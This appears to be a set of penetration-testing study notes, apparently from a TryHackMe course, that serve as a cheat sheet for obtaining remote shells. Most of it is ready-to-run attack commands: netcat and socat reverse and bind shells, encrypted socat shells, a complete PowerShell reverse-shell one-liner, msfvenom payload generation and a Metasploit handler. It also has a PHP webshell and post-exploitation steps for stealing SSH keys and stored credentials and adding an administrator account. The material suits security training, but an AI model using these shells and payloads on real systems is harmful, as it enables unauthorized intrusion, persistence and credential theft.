What is a Shell?

- Interface for Command Line Environment (CLI)
- Linux: bash, sh
- Windows: cmd.exe, PowerShell
- When exploiting, we force server to execute code to give us shell access

---

Types of Shells:

Reverse Shell: Target connects back to attacker

- Target executes code connecting to attacker's machine
- Good for bypassing firewalls (outbound connections often allowed)
- Requires attacker to have listener running

Bind Shell: Target opens port, attacker connects to it

- Target starts listener on a port
- Attacker connects directly to target
- May be blocked by firewalls (inbound connections restricted)

Shell Interactivity:

Interactive: Can interact with programs after execution (SSH prompts, etc.)

Non-Interactive: Limited to programs that don't need user interaction

- Most reverse/bind shells are non-interactive
- Commands like SSH won't work properly

Tools Overview:

Netcat: Basic networking Swiss Army Knife

- Receive reverse shells
- Connect to bind shells
- Unstable by default

Socat: Netcat on steroids

- More stable shells

- Can create encrypted shells
- Rarely installed by default, harder syntax

Metasploit multi/handler: Receive reverse shells

- Required for Meterpreter
- Best for staged payloads
- Fully-featured stable shells

Msfvenom: Payload generator

- Part of Metasploit framework
- Creates payloads in various formats (.exe, .aspx, .py, etc.)

Netcat Commands:

Reverse Shell Listener:

bash
nc -lvnp <port>
# -l: listener, -v: verbose, -n: no DNS, -p: port
sudo nc -lvnp 443 # ports below 1024 need sudo

Connect to Bind Shell:

bash
nc <target-ip> <port>

Netcat Bind Shell Listener (with -e option):

bash
nc -lvnp <port> -e /bin/bash # Linux
nc -lvnp <port> -e cmd.exe   # Windows

Netcat Bind Shell (no -e, Linux):

bash
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

Netcat Reverse Shell (no -e, Linux):

bash
mkfifo /tmp/f; nc <LOCAL-IP> <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f

---

Stabilizing Netcat Shells (Linux):

Technique 1 - Python:

```
bash
python -c 'import pty;pty.spawn("/bin/bash")'  # Step 1
export TERM=xterm                              # Step 2
# Ctrl+Z to background
stty raw -echo; fg                             # Step 3
# If shell dies and input invisible, type 'reset'
```

Technique 2 - rlwrap:

```
bash
sudo apt install rlwrap
rlwrap nc -lvnp <port>
# Then can use Ctrl+Z, stty raw -echo; fg for full stabilisation
```

Technique 3 - Socat (requires binary upload):

- Upload socat static binary to target
- Use as stepping stone to better shell

Terminal Size Fix:

```
bash
# In another terminal:
stty -a  # Note rows and columns

# In shell:
stty rows <number>
stty cols <number>
```

Socat Commands:

Basic Reverse Shell Listener:

```
bash
socat TCP-L:<port> -
```

Connect Back (Windows):

```
bash
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
```

Connect Back (Linux):

bash
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li"

Basic Bind Shell Listener (Linux):

bash
socat TCP-L:<PORT> EXEC:"bash -li"

Basic Bind Shell Listener (Windows):

bash
socat TCP-L:<PORT> EXEC:powershell.exe,pipes

Connect to Bind Shell:

bash
socat TCP:<TARGET-IP>:<TARGET-PORT> -

Fully Stable Linux TTY Reverse Shell:

Listener (attacker):

bash
socat TCP-L:<port> FILE:`tty`,raw,echo=0

Target connection:

bash
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane

---

Encrypted Shells with Socat:

Generate Certificate:

bash
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem

Encrypted Reverse Listener:

bash
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 -

Encrypted Connect Back:

bash

socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash

Encrypted Bind Shell (target):

bash
socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes

Encrypted Connect to Bind (attacker):

bash
socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 -

PowerShell Reverse Shell (One-liner):

powershell
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Msfvenom Payload Generation:

Basic Syntax:

bash
msfvenom -p <PAYLOAD> <OPTIONS>

Example (Windows x64 Reverse Shell EXE):

bash
msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<IP> LPORT=<port>

Common Options:

- `-f <format>`: Output format (exe, aspx, war, py, etc.)
- `-o <file>`: Output file
- `LHOST=<IP>`: Your IP (tun0 on TryHackMe)
- `LPORT=<port>`: Listening port

List Payloads:

bash
msfvenom --list payloads
msfvenom --list payloads | grep linux/x86/meterpreter

Staged vs Stageless Payloads:

Staged (`/` in name): e.g., `shell/reverse_tcp`

- Sent in two parts: small stager + main payload
- Stager connects back and downloads real payload
- Harder to detect, requires multi/handler

Stageless (`_` in name): e.g., `shell_reverse_tcp`

- Self-contained, one piece of code
- Easier to use, bulkier, easier to detect

Meterpreter: Metasploit's fully-featured shell

- Completely stable
- Built-in functionality (file upload/download)
- Must be caught in Metasploit

Naming Convention: `<OS>/<arch>/<payload>`

- `linux/x86/shell_reverse_tcp` - Linux x86 stageless
- `windows/shell_reverse_tcp` - Windows 32bit stageless (arch omitted)
- `windows/x64/meterpreter/reverse_tcp` - Windows 64bit staged meterpreter

Metasploit multi/handler:

bash
msfconsole
use multi/handler
options
set PAYLOAD <payload>
set LHOST <IP>
set LPORT <port>
exploit -j # Run as background job

To interact with session:
sessions 1 # or sessions -i 1

sessions # List all sessions

Webshells:

Simple PHP Webshell:

php
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

Usage: `http://target.com/shell.php?cmd=whoami`

Location on Kali: `/usr/share/webshells/`

PentestMonkey php-reverse-shell: Full PHP reverse shell

URL Encoded PowerShell for Windows webshell:

text
powershell%20-c%20%22%24client%20%3D%20New-Object%20System.Net.Sockets.TCPClient%28%27<IP>%27%2C<PORT>%29%3B...

Post-Exploitation - Getting Better Access:

Linux:

- Look for SSH keys: `/home/<user>/.ssh`
- Find credentials in config files
- Exploit writable `/etc/shadow` or `/etc/passwd`

Windows:

- Registry passwords (VNC servers)
- FileZilla credentials: `C:\Program Files\FileZilla Server\FileZilla Server.xml`

Add user if high privileges:
cmd
net user <username> <password> /add

- net localgroup administrators <username> /add
- Then RDP, WinRM, psexec, etc.